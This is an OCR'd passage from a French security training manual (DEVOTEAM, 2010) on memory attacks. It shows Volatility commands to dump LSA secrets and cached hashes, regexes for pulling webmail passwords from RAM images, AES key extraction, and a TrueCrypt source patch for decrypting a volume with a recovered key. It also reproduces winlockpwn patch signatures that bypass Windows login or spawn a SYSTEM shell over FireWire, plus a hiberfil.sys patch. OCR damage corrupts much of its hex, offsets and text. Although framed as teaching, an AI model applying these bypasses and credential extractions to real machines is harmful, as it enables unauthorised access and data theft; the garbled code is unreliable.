"$ python volatility lsadump -f <chemin d’acces au fichier RAM> -y <offset system> -s <offset security> "

$ python volatility lsadump -f H:\DUMP-TEST\dump ram user.dmp -y 0xel038008 -s DECHEECHEE
_SC_WMPNetworkSvc

SCM: {3D14228D-FBE1-11D0-995D-00C04FD919C1}

0000 40 00 7A 00 2B 00 65 00 57 00 63 00

0010 65 00 41 00 38 00 6E 00 2F 00 64 00

L$150910.159.31.135

0000 74 00 65 00 73 00 74 00 64 00 65 00

0010 00 00 00 00 00 0O OO 00 00 0O 00 00

0020 00 00 00 00 00 0O OO 00 00 0O 00 00

0030 00 00 00 00 00 0O OO 00 00 0O 00 00

_SC_RpclLocator
GS$S{ED8F4747-E13D-47bc-856B-5CEFE1A81ATF}
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5.4. HASHS MS-CACHE

Depuis I'extraction de la RAM, il est possible de récupérer les hashs de type « MS-Cache » de certains
comptes s’étant connectées au systéme via les fichiers systtme SYSTEM et SECURITY
(¢« C:\WINDOWS\system32\config\ »).

L'outil Volatility permet encore une fois de réaliser cette tache et la série de commande est équivalente a
celle lancée pour extraire la base SAM mis a part que les offset a récupérer sont ceux correspondant aux
fichiers SYSTEM ET SECURITY.

$ python volatility hivelist -f H:\DUMP-TEST\dump ram user.dmp -o 0x769ab60
Address Name

0xe1038008 \WINDOWS\system32\config\system

0xel02£008 [no name]

0xe31£f5b60 \Documents and Settings\amalard\Local Settings\Application Data\Mic
rosoft\Windows\UsrClass.dat

0xe3170b60 \Documents and Settings\amalard\NTUSER.DAT

0xe2d77570 \Documents and Settings\LocalService\Local Settings\Application Dat
a\Microsoft\Windows\UsrClass.dat

0xe2df7b60 \Documents and Settings\LocalService\NTUSER.DAT

0xe2d9%a7b0 \Documents and Settings\NetworkService\Local Settings\Application D
ata\Microsoft\Windows\UsrClass.dat

0xe2d7d008 \Documents and Settings\NetworkService\NTUSER.DAT

Oxelf45a00 \WINDOWS\system32\config\software

Oxelee0380 \WINDOWS\system32\config\default

PEEEERPEEE 2 \wINDOWS\system32\config\security

0xel1018b60 \WINDOWS\system32\config\sam

Oxelb58b60 [no name]

L'option « cachedump » permet I'affichage des hashs :

"$ python volatility cachedump -f <chemin d’acces au fichier RAM> -y <offset system> -s <offset security> "

D:\data\ARCHIVE\FORENSIC\RAM\analyse RAM\Volatility-1.3 Beta\Volatility-1.3 Beta
>python volatility cachedump -f H:\DUMP-TEST\dump ram user.dmp -y 0xel038008 -s \

amalard: 6£5b3c0d7d4eXXXX262c25fda9727a3c:devoteam: fr.devoteam.com

CONNECTING BUSINESS & TECHNOLOGY

[BU Sécurité - DEVOTEAM] | Ce document a un but purement pédagogique et ne doit pas étre utilisé a des fins Page 40 / 72
malveillantes

Version 1.2 16/12/10



HQCKRAM
I][Uﬂream JAI LA MEMOIRE QUI FLANCHE ...

5.5. MOTS DE PASSE EN CLAIR

5.5.1. EXENM\PLES

D’autres applications peuvent fournir des informations intéressantes stockées en RAM.

Ci-dessous, quelques exemples de scénarios possibles et leur conséquence :

GmM

by C .onglc
 ——

RESEAU SOCIAUX - \Linked I | = ' @

Security BOX"* Freeware [ g
CLIENTS LOURDS — = ]
—AC

—

20

| Exemple 1 : Récupération des identifiants de connexion MSN
asey <.

-Agent: Mozilla/4.® (compatible; MSIE 6.0; Windows NT 5.1;
R 3.0.84506.308; .NET CLR 3.08.04506.648: .NET CLR 3.5.210822;

<{lsnobj Creator:"arnaudmalard@free.fr"|Type="5" SHA1D="VoP1
AHYAYQBUAGOAZQAUAGOACABN >

spaces.live.com
storage.msn.com
Uxua=>"y{ FF
ser"><fsse:Usern
@free. fr</wsse:Username>fwsse: Password>(ESamp; 51</wsse : Password}
~[]

QP

=+
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| Exemple 2 : Récupération d’'un cookie d’authentification

POST /horde/imp/redirect.php?Horde=e5671cc23dd39d70ab86aeeb3b572929 HTTP/1.1

Host: imp.free.fr

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.28
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,1image/png,*/*;g=0.5
Accept-Language: fr,fr-fr;g=0.8,en-us;g=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;0=0.7,%;q=0.7

Keep-Alive: 300

Connection: keep-alive

eferer: http://imp.free.fr/
ie: Horde=e5671cc23dd39d70ab86aeeb3b572929

| Exemple 3 : Récupération des informations d’authentification sur un Webmail

% k>

FILEQ

% k=

FILE®

06/0

20:01:14 212.27.48.3 16.3.11.160 amalard passwordFREE ClearText |

FILE®

ProcessesToRunBeforeArchive

End:Before Archive Queue Ops

UpdSp Failed to rum INF SECTION BEFORE ARCHIVE

Il est important de préciser que ces données n’étaient plus stockées dans le cache du navigateur.

| Exemple 4 : Récupération des données d’authentification sur un domaine Windows (connexion
vers Microsoft Exchange hors domaine)

Les données sont soit stockées en base 64,

futhorization: Basic REVWT1RFQU1cYW1hbGFyZDpwYXNzd29yZDEyMw== |
d]°M A3

F4Wj

tT9}

Axdw

Et donc décodables facilement :

x

— Bazebd encrypted password

IHEV’WT'I RFOUT 4w ThbGFYZF m 3N zd2 02D Eyhw=<]

r— Decrypted passward
IDEVDTEAM\amaIard\passwold'l 23

— Decrypted pazzsword [HEX]
|4445584f544541 4d5cE16dE1 BBl 7 2B45070R1 73737 TR 264313233

E it |

Soit accessibles en clair,
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Wh x
EhPw
vh x
vhPw
[ "]
vh x
vh x

EEVUTEHH}amalard:Eassword123|

Et donc exploitables directement.

5.5.2. NUTOMATISATION D& LA RECHERCHE

En ayant connaissance du mot de passe, il n’est pas difficile de retrouver un mot de passe en clair en
mémoire RAM. Comment est-il possible d’identifier les authentifiant d’'un compte Gmail inconnu et
potentiellement stockés dans une image mémoire. Tout simplement en constituant une base de données
de signature pour des applications connues.

La difficulté est alors d’identifier une signature pour le secret recherché et valide quelque soit I'image
memoire analysée.

Par exemple, pour « Gmail », le mot de passe est précédé de « &pass » et suivi de « &charset », il est
donc possible d'utiliser des expressions réguliéres pour l'identifier.

email={.+)&pass=(.+)&Ccharseth test.*

D’autres secrets ne sont quant a eux pas inclus dans une chaine de caractéres contrairement a
I'exemple précédemment proposé.

Par exemple, le mot de passe protégeant la clef privée utilisée par « OpenVPN » est stocké seul au
milieu d’autres chaines de caractéres aléatoires. Certaines d’entre elles peuvent par contre ne pas I'étre
et peuvent ainsi étre utilisées comme référentiel ou sgnature. Par exemple, le mot de passe OpenVPN
est souvent précédé de « Winsock 2.0 » et va donc pouvoir faire office de signature.

: Winmsock 2.0

Ainsi, en exploitant une telle base de signature, il est possible d’automatiser la recherche d’informations
sensibles. Une preuve de concept a été congu dans cette optique et afin de montrer la facilité d’acces a
des informations sensibles depuis une image de mémoire RAM.
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farshnok rom

:/ /i Linkedin, com
t sys,os,re

TabCibles=[{

: email=(.+)&pass=(.+)&charset\ test.* .,

linkedin.com:

ion des authentifiant de:connexion sur www.linkedin.com

.linkedin.com:é&
.linkedin.com:
. facebook.com:z
. facebook. com:

N’hésitez pas a me contacter si vous étes intéressés par le PoC.
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5.6. CHIFFREMNENT DES DISQUES ET VOLUMES

Chiffrer les disques durs systéme ne permet pas de se protéger totalement du vol des données depuis la
mémoire physique. En effet, en possession d’'une image de la mémoire physique, un attaquant peut en
extraire les clefs de chiffrement et de déchiffrement du disque. Ainsi, les systémes protégés par
TrueCrypt (Linux, Windows), DM-Crypt/LUKS (Linux), BitLocker (Vista) ou FileVault (MAC) ne
garantissent plus la confidentialité des données.

5.6.1. EXTRACTION DES CLEFS VIA « NESKEYFINDER »

Plusieurs outils permettent I'extraction des clefs de chiffrement ont été développés par des chercheurs et
mis en ligne sur Internet [http://citp.princeton.edu/memory/code/]. « Aeskeyfinder » permet par exemple
d’extraire ces clefs. Un autre outil a été développé également pour extraire les clefs RSA,
« Rsakeyfinder ».

Voici un exemple d’extraction de clef AES 256 d’un volume chiffré avec TrueCrypt :

$ ./aeskeyfind -v ../../hyber-cmd-notepad/hiber-dump-cmd.dmp

FOUND POSSIBLE 256-BIT KEY AT BYTE 17df008

KEY:
3caba%909323b75a7c49b3120e6621ec27£5897ccca378a7cl91d6aaeb37942ef

EXTENDED KEY:

3caba%09323b75a7¢c49b3120e6621ec27£5897ccca378a7cl91d6aaeb37942e£f8b877664b9%bc03c37d2732e39b452¢
216b36e631al1016c4db81c06e30b65440cc49c884£7d208b8c0007b96£9b42954e7flaccledelba0536607a6b06d62
e2bc6a04ed73172466££1723df908c614adelbf5la03c5eeba50a3e91lcelce8bfe5c5fbfa7£8489bcl075fb81e97d3
d954497dc03a38b82e80681bc79¢c88d54c62d46615effb2e8e2efc7136306ba2ef6422471£79abff31£f9c3e4£6654b
31ba079fb2d0343c9c5elac0ed682aab4£874e89c308560c3c39afcfd8cfca84e975cdlb6£f6d9b22£33381le2le5bab
4951dce5c0

5.6.2. UTILISATION DES CLEFS TRUECRYPT SOUS WINDOWS
56.2.1. EN THEORIE

Sous Windows, seule la clef de chiffrement étant identifiable, il est nécessaire de modifier le code source
de TrueCrypt afin de forcer I'utilisation de la clef AES... Cette étape n'est pas simple et quelques
explications s’imposent au préalable et notamment concernant le fonctionnement de TrueCrypit.

1 Rappel : Constitution d’un volume TrueCrypt

[ ]

Données chiffrées
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| Rappel : Déchiffrement d’'un volume TrueCrypt

Mot de passe +
utilisateur
Déchiffrement de I'entéte

Clef de
\dé)chiffrement Données chiffrées

des données

Déchiffrement des données

| Exploitation de la clef identifiée : Conception d’'un volume TrueCrypt mixte

Si 'on analyse le précédent schéma, le déchiffrement des données nécessite donc de maitriser
uniquement I'entéte du volume (c-a-d avoir la connaissance du mot de passe) afin d’en extraire la clef
de (dé)chiffrement. Ainsi en utilisant un entéte maitrisé contenant la clef de (dé)chiffrement) identifiée via
« AesKeyFinder », et en la fusionnant avec les données chiffrées cibles, un volume TrueCrypt cohérant
peut étre créé et déchiffré.

La difficulté est donc de concevoir un entéte TrueCrypt dont le mot de passe est connu et dans lequel la
clef de chiffrement a été insérée. La génération de cette clef étant réalisée par TrueCrypt lors de la
création d’'un volume, il est nécessaire de modifier le code source de TrueCrypt afin de forcer I'utilisation
de la clef de (dé)chiffrement.

Ci-dessous, la modification a réaliser au niveau du code source TrueCrypt avant sa compilation et son
utilisation pour générer I'entéte maitrisée :

Dans « core/VolumeCreator.cpp », modifier le code suivant :

// Master data key
MasterKey.Allocate (options->EA->GetKeySize() * 2);
RandomNumberGenerator: :GetData (MasterKey) ;

headerOptions.DataKey = MasterKey;

Par :

// Master data key
BB oA VAT AN | = { 0x55, 0x44,0x44,0

MasterKey.Allocate (options->EA->GetKeySize() * 2);
//Echange des clefs
int i=0;
for (1=0;1i<64;1i++)

MasterKey[i]=MyKey[i];
//RandomNumberGenerator: :GetData (MasterKey) ;

headerOptions.DataKey = MasterKey;
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La clef surlignée en bleu ci-dessus doit évidemment étre modifié selon celle qui a été extraite lors de

I'étape précédente

Les schémas ci-dessous expliquent le déroulement des différentes opérations de conception et de
déchiffrement du volume cible.

Une précision s’'im
site de TrueCrypt

Modification
du code
source
TrueCrypt

pose sur le découpage des volumes afin d’identifier I'entéte et les données : depuis le

http://www. TrueCrypt.org/docs/?s=header-key-derivation|, il est possible de voir que

les données chiffrées sont stockées a partir de I'offset 131072.

EHA-51Z 128 124 | Encrypted Reserved (setto zera)
whirlpool
-echnical Details 252 4 | Encrypted CRC-32 checksurn of the (decrypted) bytes 64-251
Hatation 256 [T Encrypted Concatenated primary and secondary master keys**
Zncryption Scheme ) o . adt
“ades of Operation 512 | 65024 | Encrypted Reserved (for system encryption, this item is omitted¥+)
deader Key Derivation 5536 | A553A | Encrypted / area for hidden volume header (if there is no hidden volume
1anderm Murber Gen. Unencrypteds within the volume, this area contains random datat?t). For

. system encryption, this item is omitted . #+ See bytes 0-65535
<evfiles
Jolume Format Spec. 131072 [PET Encrypted Data area (master key scope). For systermn encryption, offse
Stomdard R may be different {depending on offset of system partition).

£

L'entéte TrueCrypt est donc stocké entre l'offset 0 et 131071 alors que les données chiffrées sont
stockées a partir de I'offset 131072.

Un éditeur hexadécimal tel que WinHex permet de facilement réaliser les opérations de fusion.

Une autre précision s’impose : il est essentiel, afin que l'opération de transformation fonctionne, de
générer un volume TrueCrypt de méme taille que celui a déchiffrer.
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| Exploitation de la clef identifiée : Déchiffrement du volume cible

Mot de passe +
utilisateur Entéte chiffrée
connu

Déchiffrement de I'entéte

Données chiffrées

Clef de
‘dé)chiffrement +

des données

Déchiffrement des données
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5.6.2.2. €N PRATIQUE

L'outil « Passware » permet de réaliser de maniére automatisée la méthode d’attaque présentée ci-
dessus. Il est téléchargeable en version démo a I'adresse suivante :

http://www.lostpassword.com/kit-enterprise.htm

I Sélection de I'option de restauration des mots de passe « disques dur »

EEPassware Password Recovery Kit Forensic = |E| 5'
File Wew Tools Help

Gﬁack @Fnrward &Start Fage | &E.‘ Recover - ° Search | ﬁsuppmrt @ Help
. o

Quick Start 2 lu'i 'U? H.ecuvel File P.asswuld (Cul+O)
L ' | Pick a protected file ta start password recaovery.
Recover intermet and network

Recover | and N k P. ds [Cul+l)
1 Recowver passwords for websites, network, connections, and email accounts.
pazswords..

Creste windows password reset . -
digk... gl Reset Windows Administrator Password [Ctrl+w)

Recover file paseword...

Search for protected files .

Fecover Hard Disk Passwords... Create a bootable CO-ROM that instantly resete Windows Administrator passward,

=

I Search for Protected Files [Ctrl+F)
Scan computer for protected files.

- = Recover Hard Digk Passwords [Ctrl+D)
) ig‘ Recover encryption keys or passwords to unlock BitLocker and TrueCrypt dives.

I Sélection de I'option de déchiffrement des volumes Truecrypt

[Blpassware Password Recovery Kit Forensic -0l x|
Eile Wiew Tools Help

@Back @Forward @Start Page | m Support @ Help

[=] Hard Disk Encryption

Details E3

. - . BitLocker [Ctrl+B)

assware Kit soans a memony image ZTE

of & compter with 4 Bitacker or Recover encryption keys to unlock a BitLocker wolume.
TrueCrppt encrypted wvolume and
extracts all the encruption keys.

TrueCrypt [Ctrl+T)
Select action fram the list W Decwpt a TrueCpt vokime

[=] Additional Tools

Passware Firewire Memory Imager
Acquire a memory image of a computer with a mounted BitLocker or TrueCrypt

volume.

I Lattaquant a en sa possession le dump de mémoire RAM ainsi que le volume Truecrypt

o v
—— — | Passware Kit Forensic v10.1
L—J FTK Imager Build 1956 Portable

iTrueCrypt Wolurme
LRLZAED e

dump-ram-GShays.raw
Fichier RAW
130 544 Ko
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I Le volume Truecrypt est chiffré et ne permet pas de visualiser les données stockées

A File List

= i§[val-chiffre-G5Days.tc Marne Size | Type Date Modified

il
il Lirre: EE unallocated space 10240KE  Unallocated space

000000 |le 38 01 Ge b2 24 d2 2b-8c ae c7 a3 96 38 5a 02 |-8-nigl+-eCL-B2-
000010 |SE€ 33 72 d9 83 19 ee 4d-52 ea 62 965 £4 14 fe 76 | _3rU--iMREh-é&-pv
000020 |65 49 17 2b aa 5a ce 97-a3 37 37 71 6b d9 60 ca | el-+2Ei-477qkilE
000030 |87 9c o8 Ob 81 96 27 78-60 Ge 6a b2 98 cf al 18 | -«E---'x'nj*-E;-
000040 |88 25 32 b7 £d 91 36 13-62 06 b df 7c be 3c 31| -%2-3-6-h- B %<1
000050 |b5 29 Lf 74 fa al 67 cf£-69 12 9f bl S5a 03 34 &9 ) -tijgli--+2-4¢
000060 |87 ab 80 56 46 53 bhe S4-fe 84 20 89 be b5 £9 40 |- «-VFS%-p+ Xl
000070 [9d 65 95 79 72 ec Tc 4£-£7 £b 72 14 4a db bd 76 |- e-yri|0+ir- Jite
EE{RY- B2, Ny - 0§

I Loutil permet de sélectionner I'image de la mémoire RAM ainsi que le volume Truecrypt en
entrée et une image destination en sortie.

Decrypting a TrueCrypt Volume

Encrypted TrueCrypt wolume image file (raw image file, .EO1, DD, ,IMG, .BIN):
I CiDocuments and SettingstAdministrateor\ Buread DEMG TChwol-chiffre-G50ayws, ko | | Browse, .,

® The TrueCrypt volume is still mounted, or I have a memory image of the karget computer acquired while
it was mounted, Instant decreption attack will be assigned.

Physical memaory image file (raw image file, .00, IMG, BIN):

| MDocuments and SetbingstAdministrateurBureanDEMO T dump-ram-Galays. raw | [ Browse, .,

i! Acguire a memaory image

Destination File:
|| Documents and Settings Administrateur\Bureau\DEMO T val-dechiffre-GSDays.dd| || [ Browse, .,

@) The TrueCrypt volume is dismounted, and I don't have a memory image of the target computer
acquired while it was mounted, Brote-Force atback will be assigned.

I Lattaque commence par la recherche de la clef de déchiffrement dans I'image de mémoire RAM

Akkack Progress

I Attack: TrueCrypt Memory Analysis attack I

Estimated completion time: calculating. ..

[---- ]

[ Skip Attack ] [ Pause ] [ Skop ]

Order State Aktack Password{s) Found

running TruecryptMemoryAn. ||

2 pending TrueCrypt Decryplion ...
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I Sila clef a été identifiée, elle est utilisée afin de déchiffré le volume

Attack Progress
I.D.ttack: TrueCrypt Decryption attacl-:l

Estimated completion time: calculating. .
[IIIIIIIIIIIIIIIIIIIIIIIIIII l

[ Skip Attack, ] [ Pause ] [ Stop ]

Attack Password(s) Found

TrueCrypt Memory .||

2 running TrueCrypt Decryption ...

I Un volume de destination est alors créé afin de stocker les données déchiffrées

Yolume image file: vol-chiffre-G3Daws. ko

Folder: C:\Documents and SettingstAdministrateur\Burean\DEMO TO,
Physical memory image Ffile: dump-ram-G3Days.raw

Folder: C:\Documents and SettingstadrministrateuriBureaniDEMO TO),
Protection: TrueCrypt Volume - Open Password, TrueCrypk AES Encryption
Complexity: Instant Unpraotection

kel

Recovery Progress

Passwords Found:
D passwords

Total time elapsed:
1 min. 8 sec.

Estimated completion kime: IUnprotected file: vol-dechiffre-GShays.dd I

[completed]

I Les données protégées sont alors visualisables (via FTK par exemple)

=) vokchiffre-GSD ays.te A Mame Size | Type Date Modified
l# Unrecogrized file system [unknovn type] %] mdp bt bxt OKB Regular file 14/10/2010 20:...
H[&y) vobdechifie-GSDays.dd | #| Nouveau Document tex, . DKE Regular file 14/10/2010 20:...,
= [F NOMAME [FATTE] #) Nouveau Document tex. . OKE FRegular file 14/10/2010 20:...
=3 [raat] @ salaires-des-emplovés k... Reqular File 14/10/2010 20:...

=+ dossiers confidenticls
[#) Nouveau dossier
I clientd
[#) Nouveau dossier
£ client2 .
%0 Nouveau dossier Exemple de données :

I3 client3

#1077 Sustern Malume Infarmatinn

DOPOND 32 000 Euros
DURAND 34 000 Euros
MICHEL zZ00 000 Eurcs

= | [

Custom Conkent Sources

Ewidence;File System|Path|File Cptions

5.6.3. UTILISATION DES CLEFS TRUECRYPT SOUS LINUX

Sous Linux, il a été observé que les mots de passe utilisés pour monter les volumes TrueCrypt sont
stockés en RAM de maniére non chiffrée.

Ainsi un attaquant parvenant a se connecter a une machine Linux avec les droits root (sans pour autant
en connaitre le mot de passe), via une faille systéme, peut facilement récupérer ces informations et les
utiliser a des fins compromettantes.

Il est important de préciser que méme aprés démontage des volumes TrueCrypt, ces derniers résident
encore en mémoire RAM... Un redémarrage est nécessaire si vous souhaitez vider ces informations de
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la mémoire.

5.6.4. FAIBLESSE DE CERTAINES SOLUTIONS D& CHIFFREMENT DE DISQUES
DURS

Récemment le Team “iViZ Vulnerability Research” a publié un papier révélant une technique pour
identifier les mot de passe utilisés pour le chiffrement des disques durs depuis des solutions de
chiffrement connues et considérées comme fiables.

Les produits concernés par cette vulnérabilité seraient les suivants : Microsoft BitLocker, TrueCrypt,
McAfee SafeBoot, HP (GRUB/LILO).

La vulnérabilité est trés simple a exploiter puisqu’elle consiste a extraire depuis une image de la
mémoire RAM le mot de passe de (dé)chiffrement inscrit en clair a une adresse mémoire commune a
chacun des produits cités [0x40:0x1e].

Le papier ecrit par le Team est disponible a cette adresse :
http://www.ivizsecurity.com/research/preboot/preboot whitepaper.pdf
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Cette partie présente des méthodes d’attaques exploitant la mémoire RAM en écriture et selon la
position dans laquelle peut se trouver un attaquant.

6.1. DEVERROUILLAGE D’UNE SESSION

6.1.1. VIA UN ACCES FIREWIRE

De la méme maniére que pour réaliser une extraction de mémoire, le déverrouillage d’une session
Windows peut étre réalisé depuis un acces Firewire sur la machine victime.

Reportez-vous a la partie concernant I'extraction de la mémoire via 'accés Firewire pour mettre en place
lattaque, seul le dernier script a exécuter n’étant pas « 1324memimage » mais « winlockpwn »
disponible a I'adresse |http://www.storm.net.nz/static/files/winlockpwn].

Selon les systémes d’exploitation utilisés (XP SP2/SP3, Vista et 2003) et la langue (FR, US, ...), le script
doit étre modifié afin d’analyser les bonnes plages d’adresses mémoire. Il est possible de trouver les
signatures pour les autres systémes actuels (7, 2008) mais je vous laisse le soin de les retrouver ...

Lorsque la langue de I'OS est en frangais, les modifications suivantes doivent étre apportées :

start = 0x0000000L => start 0x8000000L

end = 0x8000000L => end OxffEffEFEFL

Afin de prendre en compte les systémes d’exploitation XP, Vista et 2003, la section « target » peut étre
remplacée par celle-ci :

targets=[{

B ELCHEINI nXP SP2 Fast User Switching Unlockj#

"notes":"When run against a locked XPSP2 box with FUS on, it will cause all
passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in

anyway.",
"phase": [{
"sig":"8BD8F7DB1ADBFEC3",
"pageoffset":[2905],
"patch":"bb01000000eb0990",
"patchoffset":0}]

}l
[ ELLCHBRIWI nXP SP2 Unlockje

"notes":"When run against a locked XPSP2 box with regular non-fast-user-
switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then
you'll get logged in anyway.",

"phase": [{
"sig":"0502000010",
"pageoffset":[3696],
"patch":"b801000000",
"patchoffset":0}]

}l
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[ 1L CHBIWNI nXP SP2 msvl 0.dll techniquej¥

"notes":"Patches the call which decides if an account requires password
authentication. This will cause all accounts to no longer require a password, which covers logging in,
locking, and probably network authentication too! This is the best allround XPSP2 technique.",

"phase": [{
"sig":"8BFF558BEC83EC50A1",
"pageoffset": [0x927],
"patch":"B0OO1",
"patchoffset":0xa5}]

},

[ LRI nXP SP3 msvl 0.dll techniquej¥

"notes":"Patches the call which decides if an account requires password
authentication. Page Offset signature changed from SP2.",

"phase": [{
"sig":"8BFF558BEC83EC50A1",
"pageoffset": [0x81B],
"patch":"B0OO1",
"patchoffset":0xa5}]

},

[ 1 Ui ndows Vista msvl 0.dll techniqueji¥

"notes":"Patches the call which decides if an account requires password
authentication. Signature and offsets changed with Vista.",

"phase": [{
"sig":"8BFF558BEC81EC88000000A1A4",
"pageoffset": [0x76A],
"patch":"B0OO1",
"patchoffset":0xBD}]

}I
[ L CRBWI nXP SP2 utilman cmd spawnjs

"notes":"At the winlogon winstation (locked or prelogin), will spawn a
system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped
(narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then
start narrator. Enjoy a shell. You can use this with the msvl 0.dll technique as well, and log in. Any
time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon
winstation where your shell will be waiting.",

"phase": [

{"name" :"Patch code",
"sig":"535689bde8fafffff£f158810185b898540£fbffff39bd40fbffff744e8b8524fb",
"pageoffset": [0x39f],
"patch":"565383c310899de8faffffff158810185b898540fbf£f££9090909090",
"patchoffset":0x0},

{"name" :"Patch data",
"sig":"2£0055004d0000004420185b0539185b0000000053006£006600740077006100",
"pageoffset": [0x%9ac, Ox5ac, O0x3ac],

"patch":"63006d40064002e006500780065000000570069006e0053007400610030005c00570069006e006c006£0067006£006e000
0",
"patchoffset":0x0,

"keepgoing" :True,

Merci a Snorky [hitp://insomnihack.home.pl] pour ces modifications.
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Le script peut alors étre lancé en spécifiant comme paramétres le port, le noeud, la cible ainsi que les
éventuelles limites de recherche dans la mémoire (en Mo).

rootcAres P Wil

Le paramétre « cible » consiste a choisir d’'une part le systéme d’exploitation cible et d’autre part le type
d’attaque, qui sont au nombre de quatre, et dont voici le détail :

Fast User Switching Unlock : modification de la mémoire de telle sorte a valider n'importe quel
mot de passe saisi et que I'option FUS est activée (option permettant de choisir le compte a utiliser
lorsque la session est verrouillée).

.
Microsoft” l "“

Windows

Ta begin, click your user name

[@) Turn off computer

Apres déverrouillage de la session via cette attaque, une fenétre indique que le mot de passe est
mauvais mais l'acces est ensuite obtenu au systeme.

Unlock : modification de la mémoire de telle sorte a valider n'importe quel mot de passe saisi et
lorsque FUS n’est pas activé.
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3

Déverrouillage de I'ordinateur )

u/

% Cet ordinateur est utilisé et a été verrouillé,

Seul JAROD-FACABOEBS\jarod (Jarod) ou un administrateur peut
déverrouiler lordinateur.

Utilisateur | | jarod

Mot de passe : |

Apres déverrouillage de la session via cette attaque, une fenétre indique que le mot de passe est
mauvais mais l'acces est ensuite obtenu au systéme.

Msv1_0.dll technique : attaque consistant a modifier la dll utilisée pour définir si 'authentification
doit avoir lieu ou non. Cette attaque est la plus avancée et la plus efficace.

Utilman cmd spawn : modification de I'exécutable Utilman (combinaison de touche : Win-U) pour
lancer un shell avec les droits systéme pour ainsi lancer des commandes systémes (ajout d’'un
utilisateur Administrateur, modification du mot de passe administrateur, ...)

o C\WINDOWS\System32\swchost.exe

5 . C:NWINDOWS S systen32 >net user ...
Déverrouillage de I'ordina Jsten net user

q

§5 Cet ordinateur est utiise et a ete verrouilie,

Seul JAROD-FACABOEEjarod (Jarod) ou un administrateur peut
déverrouiller lordinateur.

Utilisateur | jarod

Mot de passe : |

La syntaxe de « winlockpwd » est donc la suivante :

"./winlockpwn <numéro de port> <numéro du noeud> <cible> <range mémoire> "

L'exemple suivant exploite la premiére attaque :
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. <metlstor mastorm.net.r

Switching Unloc

snartfin
eckin
setting up
Verifie
fou may pro

Lapsed Time ©

LR-1¢]
)

@

320, | & nodnmevt 0| ) booments ... | i Mook Power... | Y Sestire -part

Sources :

http://timlegge.blogspot.com/2008/03/breaking-windows-with-Firewire-and.html
http://computer.forensikblog.de/en/2008/02/acquisition 5 Firewire.html
http://groups.google.com/group/ph4ntOm/msg/1b086f37b536f8ea
http://timlegge.blogspot.com/2008/03/breaking-windows-with-Firewire-and.html

http://computer.forensikblog.de/en/2008/02/acquisition 5 Firewire.html
http://groups.google.com/group/ph4ntOm/msg/1b086f37b536f8ea
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6.1.2. VIA LE FICHIER D’HIBERNATION
6.1.2.1. NANALYSE DE UEXISTANT
Dans le cadre de la Blackhat US 2008 et du projet Sandman [http://sandman.msuiche.net/], Matthieu

Suiche a mis en avant la possibilité de déverrouiller une station Windows verrouillée via la manipulation
du fichier d’hibernation hiberfil.sys et en a développé un programme en C compatible XP SP3 EN.

Des librairies spécifiques aux fichiers d’hibernation Windows ont été développées dans le cadre de
Sandman et permettent leur manipulation.

Le programme de Mathieu Suiche a été analysé et il semblerait que la manipulation consiste a tout
d’abord décompresser le fichier d’hibernation pour modifier la suite d’octet « 75 11 » en « 90 90 ».
Evidemment il ne s’agit pas d’effectuer le remplacement sur tous les octets « 75 11 » et la difficulté est
de trouver une signature afin de modifier la bonne suite. Matthieu Suiche a décidé d’utiliser la signature
suivante : « AB AB AB AB 33 CO 8B F9 AB AB 6A 00 » pour ensuite rechercher a partir de celle-ci les
octets a modifier.

pi leshBypas=ing Windows Login PromptimsvphReleasex=msvp. exe hiberfil.sys
Blackhat 2008 - Target #2: Bypass login prompt
Matthiew Suiche, http://www.msuiche. net
SandMan Framework, http://sandman.msuiche. net

hiberfil.sys
Scanning

st->ImgXpressHeader 01299000
=t-»PageNumber 0O0066F 8
st-=XpreszPage QOOO000E

AE ABE AB 33 CO 8B F9 AB AR BA Kk 8D 45
75 C8 89 4D BC Co 45 D3 00 Co6 45 D2 01
12 CF 77 8A 46 20 84 CO OF 84 97 60 00
21 84 D2 OF 84 AQ 60 00 00 8B 4D OC 49
60 00 00 80 7D 08 00 74 08 84 CO OF B4
00 6A 10 83 C3 34 53 56 FF 15 30 12 C7F
10 /75 11 BDO 01 8B 4D FC 5F 5E 5B EB 01
C9 C2 1C 00 32 CO EB ED 90 20 90 90 90
Jump to patch Tound! & now patched!
- 7% -» 90
- 11 —» 90
DEEUG: Previous compressed si1ze Ox0000BDFO
DEBUG: New compressed size Ow0000B010
REPLACE_STATUS: Q0000001

Malheureusement, il s’est avéré que lors de nos tests cette signature n’est pas toujours valide pour tous
les hiberfil.sys.
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6.1.2.2. CHOIX D& LA SIGNATURE

En choisissant, comme signature les octets proches des octets a modifier et surtout sans décompresser
le fichier d’hibernation, nous obtenons de meilleurs résultats.

La signature suivante a donc été choisie : « F8 10 75 11 BO 01 » et une fois patchée deviendra « F8 10
90 90 BO 01 ». Il est important de préciser que cette signature est valide pour un Windows XP SP2 et
SP3 EN ou FR.

First File - D:\data\ARCHIYEAFORENSICARAM\sample BAMAS P3AEM\hiberfil. sys
OFFSET oo o1 02 02 04 05 06 07 02 09 0A OB OC 0D OE OF

01009640 83 C3 34 53 08 12 30 D0 01 83 F8 10 90 90 BO D1 | 1&45. 0B 1=2.11°H
n10D2e50 8B 88 58 06 22 4D FC F8 05 ES 01 82 31 43 1C 00 | 11X, "Hium. & 11H. .
01009660 32 CO EB ED 58 05 6E 05 28 Gf 18 8D 08 EA 17 82 | 2A8iX . n. (V. 1.&.1
niob9e?0 03 33 FF 57 60 00 89 45 E0O 30 00 D& 50 BE 10 00 .3?H‘.IE&D.®P%..
01009620 10 02 00 00 10 00 56 8D BO 24 C7 45 D3 18 A0 0D . ... .. Vi=CES . |
01009690 89 7D DC 89 7D E4 89 7D E8 289 7D EC FF 15 EC D8 | 1rifntarrentiv. 1@
010D96A0 14 3B C7 7D 21 43 00 OF 40 3D <8 00 40 74 07 3D .,Ci'C @=F @t

010D3eB0 | 35 00 00 CO 75 OF €1 01 94 01 D& 26 02 01 7C 45 | § w. kL. @ |E
n10D9ec0  e6A FF 68 80 6% 67 FF S50 03 0C EZ8 B3 81 BS 35 09 | jyvhiligyP. .&%1.5.

